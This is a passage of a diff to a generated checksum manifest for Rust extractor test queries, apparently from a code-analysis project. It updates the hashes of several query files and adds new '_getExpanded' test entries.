7c6decb624f087fda178f87f6609510907d2ed3877b0f36e605e2422b4b13f57 +test/extractor-tests/generated/Const/Const_getExpanded.ql b2d0dc1857413cdf0e222bda4717951239b8af663522990d3949dfc170fab6f5 a21fed32088db850950cb65128f2f946d498aaa6873720b653d4b9b2787c7d00 test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql 3300b902e1d1f9928cfe918203b87043e13460cfa5348a8c93712d2e26d61ced 71e7b80d3290f17b1c235adaca2c48ae90eb8b2cb24d4c9e6dc66559daf3824c test/extractor-tests/generated/Const/Const_getName.ql b876a1964bbb857fbe8852fb05f589fba947a494f343e8c96a1171e791aa2b5e 83655b1fbc67a4a1704439726c1138bb6784553e35b6ac16250b807e6cd0f40c test/extractor-tests/generated/Const/Const_getTypeRepr.ql 87c5deaa31014c40a035deaf149d76b3aca15c4560c93dd6f4b1ee5f76714baa f3e6b31e4877849792778d4535bd0389f3afd482a6a02f9ceb7e792e46fca83e @@ -759,9 +760,10 @@ test/extractor-tests/generated/ContinueExpr/ContinueExpr_getLifetime.ql 39dae987 test/extractor-tests/generated/Crate/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.ql 513d64b564f359e1022ae6f3d6d4a8ad637f595f01f29a6c2a167d1c2e8f1f99 0c7a7af6ee1005126b9ab77b2a7732821f85f1d2d426312c98206cbbedc19bb2 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql b20720ff0b147d55cea6f2de44d5bf297e79991eaf103938ccd7ab9d129e9656 eb8c9db2581cea00c29d7772de0b0a125be02c37092217a419f1a2b6a9711a6c -test/extractor-tests/generated/Enum/Enum.ql ed518d828d8e2e4790849284de1d0d5e728dbc2fe5e9f187e8ebfa2d503efd5a 7092b963eb133371e1cbc09d45f8c2308d7093523140b351d67073a8d258643e +test/extractor-tests/generated/Enum/Enum.ql 31645674671eda7b72230cd20b7a2e856190c3a3244e002ab3558787ed1261d9 1f40ee305173af30b244d8e1421a3e521d446d935ece752da5a62f4e57345412 test/extractor-tests/generated/Enum/Enum_getAttr.ql 8109ef2495f4a154e3bb408d549a16c6085e28de3aa9b40b51043af3d007afa7 868cf275a582266ffa8da556d99247bc8af0fdf3b43026c49e250cf0cac64687 test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql 76d32838b7800ed8e5cab895c9dbea76129f96afab949598bebec2b0cb34b7ff 226d099377c9d499cc614b45aa7e26756124d82f07b797863ad2ac6a6b2f5acb +test/extractor-tests/generated/Enum/Enum_getExpanded.ql 846117a6ee8e04f3d85dce1963bffcbd4bc9b4a95bfab6295c3c87a2f4eda50e 3a9c57fa5c8f514ec172e98126d21b12abe94a3a8a737fb50c838b47fe287ac4 test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql 001bb634adc4b20afb241bff41194bc91ba8544d1edd55958a01975e2ac428e1 c7c3fe3dc22a1887981a895a1e5262b1d0ad18f5052c67aa73094586de5212f6 test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql 2a858a07195a4b26b8c92e28519995bd6eba64889bddd126e161038f4a8d78e0 db188f238db915c67b084bc85aa0784c6a20b97b5a5f1966b3530c4c945b5527 test/extractor-tests/generated/Enum/Enum_getName.ql 32a8638534f37bfd416a6906114a3bcaf985af118a165b78f2c8fffd9f1841b8 c9ca8030622932dd6ceab7d41e05f86b923f77067b457fb7ec196fe4f4155397 @@ -770,15 +772,17 @@ test/extractor-tests/generated/Enum/Enum_getVisibility.ql 7fdae1b147d3d2ed41e055 test/extractor-tests/generated/Enum/Enum_getWhereClause.ql 00be944242a2056cd760a59a04d7a4f95910c122fe8ea6eca3efe44be1386b0c 70107b11fb72ed722afa9464acc4a90916822410d6b8bf3b670f6388a193d27d test/extractor-tests/generated/ExprStmt/ExprStmt.ql 811d3c75a93d081002ecf03f4e299c248f708e3c2708fca9e17b36708da620e5 a4477e67931ba90fd948a7ef778b18b50c8492bae32689356899e7104a6d6794 test/extractor-tests/generated/ExprStmt/ExprStmt_getExpr.ql e269bb222317afe1470eee1be822d305fc37c65bca2999da8d24a86fa9337036 088369d6c5b072192290c34c1828b1068aeedaabdae131594ca529bbb1630548 -test/extractor-tests/generated/ExternBlock/ExternBlock.ql 45233abdf39caefd2d1d236990a5fbf06eb0b547d892f1ad3e82b8e3c215bc79 df30e0370ed20bef3b2c5bed6e8c27b27663716e7c9e14e85acb6e33a43f4edc +test/extractor-tests/generated/ExternBlock/ExternBlock.ql 14da23b2b22f3d61a06103d1416ad416333945fd30b3a07b471f351f682c4e16 eaaf4ac8dc23c17d667bc804ed3b88c816c0c5a6127b76e2781faec52534426c test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql 9b7c7263fcbc84e07361f5b419026a525f781836ede051412b22fb4ddb5d0c6a c3755faa7ffb69ad7d3b4c5d6c7b4d378beca2fa349ea072e3bef4401e18ec99 test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql 78ed6a2d31ccab67b02da4792e9d2c7c7084a9f20eb065d83f64cd1c0a603d1b e548d4fa8a3dc1ca4b7d7b893897537237a01242c187ac738493b9f5c4700521 test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql 5a2e0b546e17a998156f48f62e711c8a7b920d352516de3518dfcd0dfedde82d 1d11b8a790c943ef215784907ff2e367b13737a5d1c24ad0d869794114deaa32 +test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql 13d466cb7d6ab8d7d5a98237775518826675e7107dbd7a3879133841eacfcadc b091495c25ead5e93b7a4d64443ca8c8bfdeb699a802bd601efa0259610cf9e7 test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql 40d6ee4bcb77c2669e07cf8070cc1aadfca22a638412c8fcf35ff892f5393b0c e9782a3b580e076800a1ad013c8f43cdda5c08fee30947599c0c38c2638820d6 test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql 2c2b29bdfdc3b27173c068cbaab9946b42053aa14cf371236b4b60ff2e723370 dfc20fc8ef81cdce6f0badd664ef3914d6d49082eb942b1da3f45239b4351e2f -test/extractor-tests/generated/ExternCrate/ExternCrate.ql c6c673d6f533fc47b1a15aac0deb5675ba146c9b53e4575f01e97106969ef38e 5a4d9e6f4fdb689d9687f4e7eb392b184c84bad80eec5dad0da775af27028604 +test/extractor-tests/generated/ExternCrate/ExternCrate.ql 3d4a4db58e34e6baa6689c801dd5c63d609549bcd9fa0c554b32042594a0bc46 63568f79c7b9ceb19c1847f5e8567aec6de5b904ef0215b57c7243fcf5e09a7a test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql cbe8efdfdbe5d46b4cd28d0e9d3bffcf08f0f9a093acf12314c15b692a9e502e 67fe03af83e4460725f371920277186c13cf1ed35629bce4ed9e23dd3d986b95 test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql c0bf9ba36beb93dc27cd1c688f18b606f961b687fd7a7afd4b3fc7328373dcfb 312da595252812bd311aecb356dd80f2f7dc5ecf77bc956e6478bbe96ec72fd9 +test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql 007d4bae6dad9aa2d7db45dfc683a143d6ce1b3dd752233cdc46218e8bdab0b1 e77fe7e5128ee3673aec69aef44dc43f881a3767705866c956472e0137b86b60 test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql 88e16e2bbef466cec43ace25716e354408b5289f9054eaafe38abafd9df327e3 83a69487e16d59492d44d8c02f0baf7898c88ed5fcf67c73ed89d80f00c69fe8 test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql 6ce362fb4df37210ce491e2ef4e04c0899a67c7e15b746c37ef87a42b2b5d5f9 5209c8a64d5707e50771521850ff6deae20892d85a82803aad1328c2d6372d09 test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql 52007ef7745e7ceb394de73212c5566300eb7962d1de669136633aea0263afb2 da98779b9e82a1b985c1b1310f0d43c784e5e66716a791ac0f2a78a10702f34b @@ -818,11 +822,12 @@ test/extractor-tests/generated/FormatArgsExpr/FormatTemplateVariableAccess.ql 27 test/extractor-tests/generated/FormatArgsExpr/Format_getArgumentRef.ql 634efdffaae4199aa9d95652cf081a8dc26e88224e24678845f8a67dc24ce090 d0302fee5c50403214771d5c6b896ba7c6e52be10c9bea59720ef2bb954e6f40 test/extractor-tests/generated/FormatArgsExpr/Format_getPrecisionArgument.ql 0d2140f84d0220b0c72c48c6bd272f4cfe1863d1797eddd16a6e238552a61e4d f4fe9b29697041e30764fa3dea44f125546bfb648f32c3474a1e922a4255c534 test/extractor-tests/generated/FormatArgsExpr/Format_getWidthArgument.ql 01ef27dd0bfab273e1ddc57ada0e079ece8a2bfd195ce413261006964b444093 acd0161f86010759417015c5b58044467a7f760f288ec4e8525458c54ae9a715 -test/extractor-tests/generated/Function/Function.ql c1c2a9b68c35f839ccd2b5e62e87d1acd94dcc2a3dc4c307c269b84b2a0806e6 1c446f19d2f81dd139aa5a1578d1b165e13bddbaeab8cfee8f0430bced3a99ab +test/extractor-tests/generated/Function/Function.ql 084e8c4a938e0eea6e2cd47b592021891cb2ad04edbec336f87f0f3faf6a7f32 200b8b17eb09f6df13b2e60869b0329b7a59e3d23a3273d17b03f6addd8ebf89 test/extractor-tests/generated/Function/Function_getAbi.ql e5c9c97de036ddd51cae5d99d41847c35c6b2eabbbd145f4467cb501edc606d8 0b81511528bd0ef9e63b19edfc3cb638d8af43eb87d018fad69d6ef8f8221454 test/extractor-tests/generated/Function/Function_getAttr.ql 44067ee11bdec8e91774ff10de0704a8c5c1b60816d587378e86bf3d82e1f660 b4bebf9441bda1f2d1e34e9261e07a7468cbabf53cf8047384f3c8b11869f04e test/extractor-tests/generated/Function/Function_getBody.ql cf2716a751e309deba703ee4da70e607aae767c1961d3c0ac5b6728f7791f608 3beaf4032924720cb881ef6618a3dd22316f88635c86cbc1be60e3bdad173e21 test/extractor-tests/generated/Function/Function_getCrateOrigin.ql acec761c56b386600443411cabb438d7a88f3a5e221942b31a2bf949e77c14b4 ff2387acb13eebfad614b808278f057a702ef4a844386680b8767f9bb4438461 +test/extractor-tests/generated/Function/Function_getExpanded.ql dc93cca67a3436543cd5b8e5c291cceacde523b8652f162532b274e717378293 c0c28eeb6c97690dfc82bd97e31db1a6b72c6410b98eb193270a37fc95952518 test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql 0bcdca25bb92424007cea950409d73ba681e3ffbea53e0508f1d630fccfa8bed ff28c3349f5fc007d5f144e549579bd04870973c0fabef4198edce0fba0ef421 test/extractor-tests/generated/Function/Function_getGenericParamList.ql 0b255791c153b7cb03a64f1b9ab5beccc832984251f37516e1d06ce311e71c2b d200f90d4dd6f8dfd22ce49203423715d5bef27436c56ee553097c668e71c5a1 test/extractor-tests/generated/Function/Function_getName.ql 3d9e0518075d161213485389efe0adf8a9e6352dd1c6233ef0403a9abbcc7ed1 841e644ecefff7e9a82f458bcf14d9976d6a6dbe9191755ead88374d7c086375 @@ -843,10 +848,11 @@ test/extractor-tests/generated/IfExpr/IfExpr_getAttr.ql f5872cdbb21683bed689e753 test/extractor-tests/generated/IfExpr/IfExpr_getCondition.ql 5bab301a1d53fe6ee599edfb17f9c7edb2410ec6ea7108b3f4a5f0a8d14316e3 355183b52cca9dc81591a09891dab799150370fff2034ddcbf7b1e4a7cb43482 test/extractor-tests/generated/IfExpr/IfExpr_getElse.ql 8674cedf42fb7be513fdf6b9c3988308453ae3baf8051649832e7767b366c12f e064e5f0b8e394b080a05a7bccd57277a229c1f985aa4df37daea26aeade4603 test/extractor-tests/generated/IfExpr/IfExpr_getThen.ql 0989ddab2c231c0ee122ae805ffa0d3f0697fb7b6d9e53ee6d32b9140d4b0421 81028f9cd6b417c63091d46a8b85c3b32b1c77eea885f3f93ae12c99685bfe0a -test/extractor-tests/generated/Impl/Impl.ql c473ab1d919fc56b641684b9eb7ba0e65defe554e1bb2fa603b8246a896aa574 16f2f7d8456aee81b395bf8e44fcf0562cfa44294fa03e4f85f3b06f5ff1c57f +test/extractor-tests/generated/Impl/Impl.ql a6e19421a7785408ad5ce8e6508d9f88eceb71fe6f6f4abc5795285ecc778db6 158519bed8a89b8d25921a17f488267af6be626db559bd93bbbe79f07ebfed6c test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql cf875361c53c081ac967482fd3af8daf735b0bc22f21dcf0936fcf70500a001a 0ad723839fa26d30fa1cd2badd01f9453977eba81add7f0f0a0fcb3adb76b87e test/extractor-tests/generated/Impl/Impl_getAttr.ql 018bdf6d9a9724d4f497d249de7cecd8bda0ac2340bde64b9b3d7c57482e715b cd065899d92aa35aca5d53ef64eadf7bb195d9a4e8ed632378a4e8c550b850cd test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql 494d5524ef7bac1286b8a465e833e98409c13f3f8155edab21d72424944f2ed9 b238ef992fce97699b14a5c45d386a2711287fd88fa44d43d18c0cdfd81ed72c +test/extractor-tests/generated/Impl/Impl_getExpanded.ql ce623514e77f67dda422566531515d839a422e75ea87a10d86ad162fa61e1469 533624938c937835a59326c086e341b7bacab32d84af132e7f3d0d17c6cd4864 test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql 3ab82fd7831d22c7ec125908abf9238a9e8562087d783c1c12c108b449c31c83 320afd5dd1cea9017dbc25cc31ebe1588d242e273d27207a5ad2578eee638f7e test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql 88d5cd8fd03cb4cc2887393ee38b2e2315eeef8c4db40a9bd94cf86b95935bdd 9c72828669ccf8f7ca39851bc36a0c426325a91fc428b49681e4bb680d6547a9 test/extractor-tests/generated/Impl/Impl_getSelfTy.ql 2962d540a174b38815d150cdd9053796251de4843b7276d051191c6a6c8ecad4 b7156cec08bd6231f7b8f621e823da0642a0eb036b05476222f259101d9d37c0 @@ -894,18 +900,19 @@ test/extractor-tests/generated/LoopExpr/LoopExpr.ql 37b320acefa3734331f87414de27 test/extractor-tests/generated/LoopExpr/LoopExpr_getAttr.ql d557c1a34ae8762b32702d6b50e79c25bc506275c33a896b6b94bbbe73d04c49 34846c9eefa0219f4a16e28b518b2afa23f372d0aa03b08d042c5a35375e0cd6 test/extractor-tests/generated/LoopExpr/LoopExpr_getLabel.ql 0b77b9d9fb5903d37bce5a2c0d6b276e6269da56fcb37b83cd931872fb88490f c7f09c526e59dcadec13ec9719980d68b8619d630caab2c26b8368b06c1f2cc0 test/extractor-tests/generated/LoopExpr/LoopExpr_getLoopBody.ql 0267f54077640f3dfeb38524577e4a1229115eeb1c839398d0c5f460c1d65129 96ec876635b8c561f7add19e57574444f630eae3df9ab9bc33ac180e61f3a7b8 -test/extractor-tests/generated/MacroCall/MacroCall.ql f41552ce4c8132db854132e445aa0c8df514bfd375aa71cc9ed0ae838b7df9f1 442ecbe1481084bb072c6f8cf0eb595b7ad371587e8708610a10f2cc718535f7 +test/extractor-tests/generated/MacroCall/MacroCall.ql 989d90726edab22a69377480ce5d1a13309d9aac60e0382c2ad6d36e8c7f1df5 68ffd6e1afa0c2c17fb04f87a09baca9766421aa28acd4ef8a6d04798f4c3a57 test/extractor-tests/generated/MacroCall/MacroCall_getAttr.ql c22a2a29d705e85b03a6586d1eda1a2f4f99f95f7dfeb4e6908ec3188b5ad0ad 9b8d9dcc2116a123c15c520a880efab73ade20e08197c64bc3ed0c50902c4672 test/extractor-tests/generated/MacroCall/MacroCall_getCrateOrigin.ql 3030e87de6f773d510882ee4469146f6008898e23a4a4ccabcbaa7da1a4e765e a10fe67315eda1c59d726d538ead34f35ccffc3e121eeda74c286d49a4ce4f54 test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql 757c4a4c32888e4604044c798a3180aa6d4f73381eec9bc28ba9dc71ffcbd03a 27d5edaa2c1096a24c86744aaad0f006da20d5caa28ccfd8528e7c98aa1bead1 test/extractor-tests/generated/MacroCall/MacroCall_getExtendedCanonicalPath.ql 553b810f611014ae04d76663d1393c93687df8b96bda325bd71e264e950a8be9 a0e80c3dac6a0e48c635e9f25926b6a97adabd4b3c0e3cfb6766ae160bcb4ee7 test/extractor-tests/generated/MacroCall/MacroCall_getPath.ql 160edc6a001a2d946da6049ffb21a84b9a3756e85f9a2fb0a4d85058124b399a 1e25dd600f19ef89a99f328f86603bce12190220168387c5a88bfb9926da56d9 test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.ql 1cbf6b1ac7fa0910ff299b939743153fc00ad7e28a9a70c69a8297c6841e8238 570380c0dc4b20fe25c0499378569720a6da14bdb058e73d757e174bdd62d0c0 -test/extractor-tests/generated/MacroDef/MacroDef.ql b8186c22beb7f818a30fe80f36d2e4207887445863e4deeae88bd03c24863dbb 71bebfb1b57b56ea479bc6edd714a4f01bfce2fa8e12fb9eb1481f9dffa4515e +test/extractor-tests/generated/MacroDef/MacroDef.ql 2b9965d72ba85d531f66e547059110e95a03315889fbb3833cce121c1ad49309 2b5b03afbce92745b1d9750a958b602ccf5e7f9f7934fb12d8b3c20dfc8d3d28 test/extractor-tests/generated/MacroDef/MacroDef_getArgs.ql 61f11d6ba6ea3bd42708c4dc172be4016277c015d3560025d776e8fef447270f 331541eff1d8a835a9ecc6306f3adf234cbff96ea74b0638e482e03f3e336fd1 test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql 0a30875f7b02351a4facf454273fb124aa40c6ef8a47dfe5210072a226b03656 8e97307aef71bf93b28f787050bfaa50fe95edf6c3f5418acd07c1de64e62cc1 test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql 7b350f48e6f208d9fa4725919efd439baf5e9ec4563ba9be261b7a17dacc451b 33f99a707bb89705c92195a5f86055d1f6019bcd33aafcc1942358a6ed413661 test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql 6c46366798df82ed96b8fb1efeb46bd84c2660f226ff2359af0041d5cdf004ba 8ab22599ef784dcad778d86828318699c2230c8927ae98ab0c60ac4639d6d1b5 +test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql 7f2baed8b5a2ba8a6e67cb601e7a03a7d3276673d6bd3b05f83b76058622bc2d 85241a780e2cec0be062042bcea4a3c3282f3694f6bf7faa64a51f1126b1f438 test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql d09b262b8e5558078506ec370255a63c861ca0c41ab9af3eb4f987325dadd90c cd466062c59b6a8ea2a05ddac1bf5b6d04165755f4773867774215ec5e79afa3 test/extractor-tests/generated/MacroDef/MacroDef_getName.ql 6bc8a17804f23782e98f7baf70a0a87256a639c11f92e3c80940021319868847 726f9d8249b2ca6789d37bb4248bf5dd044acc9add5c25ed62607502c8af65aa test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.ql d858ccaab381432c529bf4a621afc82ea5e4b810b463f2b1f551de79908e14e7 83a85c4f90417ab44570a862642d8f8fc9208e62ba20ca69b32d39a3190381aa @@ -915,9 +922,10 @@ test/extractor-tests/generated/MacroItems/MacroItems.ql 876b5d2a4ce7dcb599e02208 test/extractor-tests/generated/MacroItems/MacroItems_getItem.ql 53fc2db35a23b9aca6ee327d2a51202d23ddf482e6bdd92c5399b7f3a73959b1 63051c8b7a7bfbe9cc640f775e753c9a82f1eb8472989f7d3c8af94fdf26c7a0 test/extractor-tests/generated/MacroPat/MacroPat.ql d9ec72d4d6a7342ee2d9aa7e90227faa31792ca5842fe948d7fdf22597a123b7 74b0f21ef2bb6c13aae74dba1eea97451755110909a083360e2c56cfbc76fd91 test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.ql 398996f0d0f2aa6d3b58d80b26c7d1185b5094d455c6c5c7f075f6d414150aa6 b4662e57cac36ed0e692201f53ba46c3d0826bba99c5cc6dfcb302b44dd2154b -test/extractor-tests/generated/MacroRules/MacroRules.ql e8a243a1aa368d44c963d81b4459aa6eba7caf514d4865af5007cc33fe53dde4 9e9114cb808239e3bb15403cf5712f8dbaf4e2719e74efddbb800ec0be19f06a +test/extractor-tests/generated/MacroRules/MacroRules.ql 46c125145d836fd5d781d4eda02f9f09f2d39a35350dffb982610b27e4e4936f 4068314eca12ac08ad7e90ceb8b9d935a355c2fe8c38593972484abde1ac47b4 test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql 7de501c724e3465520cdc870c357911e7e7fce147f6fb5ed30ad37f21cf7d932 0d7754b89bcad6c012a0b43ee4e48e64dd20b608b3a7aeb4042f95eec50bb6e6 test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql fccedeee10ef85be3c26f6360b867e81d4ebce3e7f9cf90ccb641c5a14e73e7d 28c38a03a7597a9f56032077102e7a19378b0f3f3a6804e6c234526d0a441997 +test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql 01746ce9f525dcf97517d121eb3d80a25a1ee7e1d550b52b3452ee6b8fd83a00 0ccb55088d949fa2cd0d0be34ea5a626c221ae1f35d56ccf2eb20c696d3c157b test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql a0098b1d945df46e546e748c2297444aaccd04a4d543ba3d94424e7f33be6d26 3bab748c7f5bbe486f30e1a1c422a421ab622f401f4f865afb003915ae47be83 test/extractor-tests/generated/MacroRules/MacroRules_getName.ql 591606e3accae8b8fb49e1218c4867a42724ac209cf99786db0e5d7ea0bf55d5 d2936ef5aa4bbf024372516dde3de578990aafb2b8675bbbf0f72e8b54eb82a8 test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.ql 7598d33c3d86f9ad8629219b90667b2b65e3a1e18c6b0887291df9455a319cab 69d90446743e78e851145683c17677497fe42ed02f61f2b2974e216dc6e05b01 @@ -953,9 +961,10 @@ test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql 13 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql 77407ac956c897ff7234132de1a825f1af5cfd0b6c1fd3a30f64fe08813d56db d80719e02d19c45bd6534c89ec7255652655f5680199854a0a6552b7c7793249 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql c22504665900715e8a32dd47627111e8cef4ed2646f74a8886dead15fbc85bb5 d92462cf3cb40dcd383bcaffc67d9a43e840494df9d7491339cbd09a0a73427b test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql 9e7bbb7ed60db49b45c3bdf8e01ec58de751889fc394f59ac33f9d6e98200aa1 c055d877e2ff0edc78cce6dd79c78b2881e7940889729cbb5c12e7029ddeb5a3 -test/extractor-tests/generated/Module/Module.ql 4bc4d74921a5af94b124a5010cdf6908cdc9ecf26124e354155fba781009071f acca26579b087ce1fc674703c4d95d8d353075d3021c464d2f3fc06891716774 +test/extractor-tests/generated/Module/Module.ql 3b534dc4377a6411d75c5d1d99ad649acaebd17364af2738cbc86f5a43315028 feeedeb64c4eccba1787bff746ee8009bddead00123de98b8d5ca0b401078443 test/extractor-tests/generated/Module/Module_getAttr.ql b97ae3f5175a358bf02c47ec154f7c2a0bd7ca54d0561517008d59344736d5cd f199116633c183826afa9ab8e409c3bf118d8e626647dbc617ae0d40d42e5d25 test/extractor-tests/generated/Module/Module_getCrateOrigin.ql ff479546bf8fe8ef3da60c9c95b7e8e523c415be61839b2fff5f44c146c4e7df b14d3c0577bd6d6e3b6e5f4b93448cdccde424e21327a2e0213715b16c064a52 +test/extractor-tests/generated/Module/Module_getExpanded.ql 03d49dd284795a59b7b5126218e1c8c7ce1cb0284c5070e2d8875e273d9d90fc fa004cf6b464afe0307c767e4dd29bbce7e1c65de61cdd714af542a8b68bbe44 test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql 55c5b633d05ddbe47d324535a337d5dfed5913ab23cdb826424ddd22009a2a53 ab9e11e334e99be0d4c8d2bd0580657211d05feeeb322fbb5400f07264219497 test/extractor-tests/generated/Module/Module_getItemList.ql 59b49af9788e9d8b5bceaeffe3c3d203038abd987880a720669117ac3db35388 9550939a0e07b11892b38ca03a0ce305d0e924c28d27f25c9acc47a819088969 test/extractor-tests/generated/Module/Module_getName.ql 7945dc007146c650cf4f5ac6e312bbd9c8b023246ff77f033a9410da29774ace 9de11a1806487d123376c6a267a332d72cd81e7d6e4baa48669e0bb28b7e352e @@ -1053,10 +1062,11 @@ test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.ql a6604f test/extractor-tests/generated/SourceFile/SourceFile.ql c30a3c2c82be3114f3857295615e2ec1e59c823f0b65ea3918be85e6b7adb921 6a5bbe96f81861c953eb89f77ea64d580f996dca5950f717dd257a0b795453e6 test/extractor-tests/generated/SourceFile/SourceFile_getAttr.ql 450404306b3d991b23c60a7bb354631d37925e74dec7cc795452fe3263dc2358 07ffcc91523fd029bd599be28fe2fc909917e22f2b95c4257d3605f54f9d7551 test/extractor-tests/generated/SourceFile/SourceFile_getItem.ql f17e44bc0c829b2aadcb6d4ab9c687c10dc8f1afbed4e5190404e574d6ab3107 1cf49a37cc32a67fdc00d16b520daf39143e1b27205c1a610e24d2fe1a464b95 -test/extractor-tests/generated/Static/Static.ql ac93af3e443bd2339e460a2d5273415da3d8e3e1cbbfc3a0af5b43b559047154 2f38e26764f2a07f5bf6ddadf7ebe9db5e087d784d1f2c4e79766ed10bb97859 +test/extractor-tests/generated/Static/Static.ql 271ef78c98c5cb8c80812a1028bb6b21b5e3ae11976ed8276b35832bf41c4798 23ab4c55836873daf500973820d2d5eaa5892925ebdc5d35e314b87997ca6ce3 test/extractor-tests/generated/Static/Static_getAttr.ql adb0bbf55fb962c0e9d317fd815c09c88793c04f2fb78dfd62c259420c70bc68 d317429171c69c4d5d926c26e97b47f5df87cf0552338f575cd3aeea0e57d2c2 test/extractor-tests/generated/Static/Static_getBody.ql e735bbd421e22c67db792671f5cb78291c437621fdfd700e5ef13b5b76b3684d 9148dc9d1899cedf817258a30a274e4f2c34659140090ca2afeb1b6f2f21e52f test/extractor-tests/generated/Static/Static_getCrateOrigin.ql f24ac3dac6a6e04d3cc58ae11b09749114a89816c28b96bf6be0e96b2e20d37f e4051426c5daa7e73c1a5a9023d6e50a2b46ebf194f45befbe3dd45e64831a55 +test/extractor-tests/generated/Static/Static_getExpanded.ql 6f949494cba88f12b1657badd7d15bdd0b6aba73701674a64aac9d30cbb4907f 9ea0c4bb0100482e9ae0b03c410860f10fd88115e854b2516b61732acc634501 test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql 6ec02f7ec9cf4cb174a7cdf87921758a3e798c76171be85939614305d773b6a0 c51567dac069fc67ece0aa018ae6332187aa1145f33489093e4aee049d7cea52 test/extractor-tests/generated/Static/Static_getName.ql c7537e166d994b6f961547e8b97ab4328b78cbd038a0eb9afaae42e35f6d9cb4 bb5ae24b85cd7a8340a4ce9e9d56ec3be31558051c82257ccb84289291f38a42 test/extractor-tests/generated/Static/Static_getTypeRepr.ql 45efcf393a3c6d4eca92416d8d6c88e0d0e85a2bc017da097ae2bbbe8a271a32 374b551e2d58813203df6f475a1701c89508803693e2a4bec7afc86c2d58d60b @@ -1065,9 +1075,10 @@ test/extractor-tests/generated/StmtList/StmtList.ql 0010df0d5e30f7bed3bd5d916faf test/extractor-tests/generated/StmtList/StmtList_getAttr.ql 78d4bf65273498f04238706330b03d0b61dd03b001531f05fcb2230f24ceab64 6e02cee05c0b9f104ddea72b20097034edb76e985188b3f10f079bb03163b830 test/extractor-tests/generated/StmtList/StmtList_getStatement.ql abbc3bcf98aab395fc851d5cc58c9c8a13fe1bdd531723bec1bc1b8ddbec6614 e302a26079986fa055306a1f641533dfde36c9bc0dd7958d21e2518b59e808c2 test/extractor-tests/generated/StmtList/StmtList_getTailExpr.ql 578d7c944ef42bdb822fc6ce52fe3d49a0012cf7854cfddbb3d5117133700587 64ea407455a3b4dfbb86202e71a72b5abbff885479367b2834c0dd16d1f9d0ee -test/extractor-tests/generated/Struct/Struct.ql 14dc5ead6bed88c2c79d9fd3874198f845d8202290b0931b2d2375c0a397c44a 408b07b6bb40ca09f51d2becd94501cc2b95ec52e04ccc2703c2e25d6577b4c6 +test/extractor-tests/generated/Struct/Struct.ql 13d575bd8ca4ad029d233a13a485005bc03f58221b976c7e1df7456ddc788544 fc7cbaaf44d71e66aa8170b1822895fc0d0710d0b3a4da4f1b96ed9633f0b856 test/extractor-tests/generated/Struct/Struct_getAttr.ql 028d90ddc5189b82cfc8de20f9e05d98e8a12cc185705481f91dd209f2cb1f87 760780a48c12be4581c1675c46aae054a6198196a55b6b989402cc29b7caf245 test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql 289622244a1333277d3b1507c5cea7c7dd29a7905774f974d8c2100cea50b35f d32941a2d08d7830b42c263ee336bf54de5240bfc22082341b4420a20a1886c7 +test/extractor-tests/generated/Struct/Struct_getExpanded.ql fc6809bfafce55b6ff1794898fcd08ac220c4b2455782c52a51de64346ed09ba 9bcb24573b63831861b55c7f93af58e19af2929acf9bb1b8da94763bbfcde013 test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql 866a5893bd0869224fb8aadd071fba35b5386183bb476f5de45c9de7ab88c583 267aedc228d69e31ca8e95dcab6bcb1aa30f9ebaea43896a55016b7d68e3c441 test/extractor-tests/generated/Struct/Struct_getFieldList.ql f45d6d5d953741e52aca67129994b80f6904b2e6b43c519d6d42c29c7b663c42 77a7d07e8462fa608efc58af97ce8f17c5369f9573f9d200191136607cb0e600 test/extractor-tests/generated/Struct/Struct_getGenericParamList.ql 